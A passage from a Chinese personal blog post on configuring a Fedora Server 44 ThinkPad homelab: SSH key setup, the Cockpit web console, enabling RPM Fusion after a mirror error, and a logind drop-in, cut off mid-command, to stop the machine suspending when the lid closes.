&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/srv-volume.jpeg"
width="2048"
height="1536"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/srv-volume_hu_bb8e67572a964af6.jpeg 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/srv-volume_hu_93fb20400509cf21.jpeg 1024w"
loading="lazy"
alt="数据盘挂载到 /srv"
class="gallery-image"
data-flex-grow="133"
data-flex-basis="320px"
&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;data disk
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─srv btrfs /srv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;/srv&lt;/code&gt; 会作为服务数据的主要落点。这样既能让系统和数据的边界保持清楚，也方便以后分别制定快照、备份和重装策略。需要强调的是，Btrfs 快照并不等于备份；真正的备份仍然需要落到另一块独立介质或另一台机器上。&lt;/p&gt;
&lt;p&gt;至此，Fedora Server 44 已经可以启动，磁盘布局也符合预期。这台机器现在还只是一套刚装好的操作系统。下面的内容会从第一次登录开始，随着实际配置进度继续补完。&lt;/p&gt;
&lt;h2 id="fedora-安装后的配置"&gt;Fedora 安装后的配置
&lt;/h2&gt;&lt;h3 id="第一次更新"&gt;第一次更新
&lt;/h3&gt;&lt;p&gt;&lt;code&gt;sudo dnf update&lt;/code&gt; 就行，fedora 会自动选择合适的镜像源。省心。&lt;/p&gt;
&lt;h3 id="初始化-ssh"&gt;初始化 ssh
&lt;/h3&gt;&lt;p&gt;用 macbook 连机器去配置。要不然复制太麻烦。&lt;/p&gt;
&lt;p&gt;不需要 &lt;code&gt;sudo dnf install -y openssh-server curl&lt;/code&gt;, Fedora Server 44 实际上已经预装了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir -p ~/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;700&lt;/span&gt; ~/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -fsSL https://github.com/U1traVeno.keys &lt;span class="p"&gt;|&lt;/span&gt; tee -a ~/.ssh/authorized_keys &amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/.ssh/authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;ip a&lt;/code&gt; 一下，ssh 过去之后竟然发现有些好玩的东西：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ ssh veno@172.16.51.113
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The authenticity of host &amp;#39;172.16.51.113 (172.16.51.113)&amp;#39; can&amp;#39;t be established.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ED25519 key fingerprint is: SHA256:9MUAqqdnnh1f6+/G4hzJsSruQbmPGwLBcumd6ToOU0w
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This key is not known by any other names.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Warning: Permanently added &amp;#39;172.16.51.113&amp;#39; (ED25519) to the list of known hosts.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;4 个设备有可升级的固件。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;运行 `fwupdmgr get-upgrades` 获取更多信息。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Web console: https://localhost:9090/ or https://172.16.51.113:9090/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;veno@localhost:~$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Fedora Server 竟然自带 Web console。用的是 Cockpit&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image.png"
width="2940"
height="1912"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image_hu_a421cd0b82a6b497.png 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image_hu_c647a7ca9d0e31f7.png 1024w"
loading="lazy"
alt="登陆"
class="gallery-image"
data-flex-grow="153"
data-flex-basis="369px"
&gt;&lt;/p&gt;
&lt;p&gt;里面东西还挺多的。以后再来探索一下&lt;/p&gt;
&lt;p&gt;&lt;img src="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image-1.png"
width="2940"
height="1912"
srcset="https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image-1_hu_b555251b385024af.png 480w, https://v3n0.com/post/2026/thinkpad-homelab-fedora-btrfs-nix/image-1_hu_4c0edd5eaa7b51e2.png 1024w"
loading="lazy"
alt="Web Console 概览"
class="gallery-image"
data-flex-grow="153"
data-flex-basis="369px"
&gt;&lt;/p&gt;
&lt;p&gt;现在就可以做骚操作，下面我的配置均由 Codex gpt-5.6-sol 从 macbook ssh 过去进行配置，并填充博客内容。反正是完全新装的机器，也不怕搞坏，大不了重装。&lt;/p&gt;
&lt;h3 id="启用-rpm-fusion"&gt;启用 RPM Fusion
&lt;/h3&gt;&lt;p&gt;Fedora 官方仓库不会收录所有我可能用到的软件，所以先启用 RPM Fusion 的 Free 和 Nonfree 仓库。安装命令来自 &lt;a class="link" href="https://rpmfusion.org/Configuration" target="_blank" rel="noopener"
&gt;RPM Fusion 官方配置文档&lt;/a&gt;，而不是从第三方博客复制。&lt;/p&gt;
&lt;p&gt;安装地址中的 &lt;code&gt;$(rpm -E %fedora)&lt;/code&gt; 会读取当前 Fedora 的版本号：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpm -E %fedora
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;44
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;先按官方文档给出的镜像跳转地址安装两个 release package：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rpm -E %fedora&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.noarch.rpm&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rpm -E %fedora&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.noarch.rpm&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;但是这次跳转到了上海交大镜像，而该镜像上的 Fedora 44 路径返回了 HTTP 400：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Status code: 400 for https://mirror.sjtu.edu.cn/rpmfusion/free/fedora/rpmfusion-free-release-44.noarch.rpm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Status code: 400 for https://mirror.sjtu.edu.cn/rpmfusion/nonfree/fedora/rpmfusion-nonfree-release-44.noarch.rpm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Not finished - interrupted by error
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;下载文件失败
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;先用 HEAD 请求确认 RPM Fusion 自己的 &lt;code&gt;download1.rpmfusion.org&lt;/code&gt; 上确实有这两个文件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I --connect-timeout &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-44.noarch.rpm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -I --connect-timeout &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-44.noarch.rpm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;两次请求都返回了 &lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt;，于是绕过镜像跳转，改用直连地址安装：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf install &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rpm -E %fedora&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.noarch.rpm&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rpm -E %fedora&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.noarch.rpm&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;DNF 列出的实际安装版本是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;软件包 架构 版本
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-free-release noarch 44-3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-nonfree-release noarch 44-3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;事务摘要：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 正在安装： 2 个软件包
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;完成！
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;RPM Fusion 的配置文档还建议启用 Fedora 自带的 &lt;code&gt;fedora-cisco-openh264&lt;/code&gt; 仓库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo dnf config-manager setopt fedora-cisco-openh264.enabled&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;安装完成后直接列出全部启用的仓库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnf repolist --enabled
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;重启后再次执行，实际输出为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;repo id repo name
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fedora Fedora 44 - x86_64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fedora-cisco-openh264 Fedora 44 openh264 (From Cisco) - x86_64
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-free RPM Fusion for Fedora 44 - Free
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-free-updates RPM Fusion for Fedora 44 - Free - Updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-nonfree RPM Fusion for Fedora 44 - Nonfree
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-nonfree-updates RPM Fusion for Fedora 44 - Nonfree - Updates
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;updates Fedora 44 - x86_64 - Updates
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;再确认 release package 的版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpm -q rpmfusion-free-release rpmfusion-nonfree-release
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-free-release-44-3.noarch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpmfusion-nonfree-release-44-3.noarch
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里只启用软件源，不为了“配齐 RPM Fusion”提前安装一堆软件。后面真正需要某个包时再用 DNF 安装。&lt;/p&gt;
&lt;p&gt;参考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://rpmfusion.org/Configuration" target="_blank" rel="noopener"
&gt;RPM Fusion - Configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="设置笔记本合盖不休眠"&gt;设置笔记本合盖不休眠
&lt;/h3&gt;&lt;p&gt;这台 ThinkPad 要作为长期运行的服务器，盖上屏幕后不能跟着休眠。这个行为由 &lt;code&gt;systemd-logind&lt;/code&gt; 管理。根据 &lt;a class="link" href="https://www.freedesktop.org/software/systemd/man/latest/logind.conf.html" target="_blank" rel="noopener"
&gt;systemd 的 &lt;code&gt;logind.conf&lt;/code&gt; 手册&lt;/a&gt;，&lt;code&gt;HandleLidSwitch=&lt;/code&gt;、&lt;code&gt;HandleLidSwitchExternalPower=&lt;/code&gt; 和 &lt;code&gt;HandleLidSwitchDocked=&lt;/code&gt; 分别控制不同状态下的合盖行为；值为 &lt;code&gt;ignore&lt;/code&gt; 时，&lt;code&gt;systemd-logind&lt;/code&gt; 不处理该事件。&lt;/p&gt;
&lt;p&gt;不直接修改 &lt;code&gt;/etc/systemd/logind.conf&lt;/code&gt;，而是单独创建一个 drop-in 配置。以后要恢复默认行为时，只需要删除这个文件。先创建配置目录：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo install -d -m &lt;span class="m"&gt;0755&lt;/span&gt; /etc/systemd/logind.conf.d
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后写入配置。这里使用 &lt;code&gt;printf | sudo tee&lt;/code&gt;，可以直接粘贴进远程终端：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;%s\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;[Login]&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;HandleLidSwitch=ignore&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;HandleLidSwitchExternalPower=ignore&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;HandleLidSwitchDocked=ignore&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
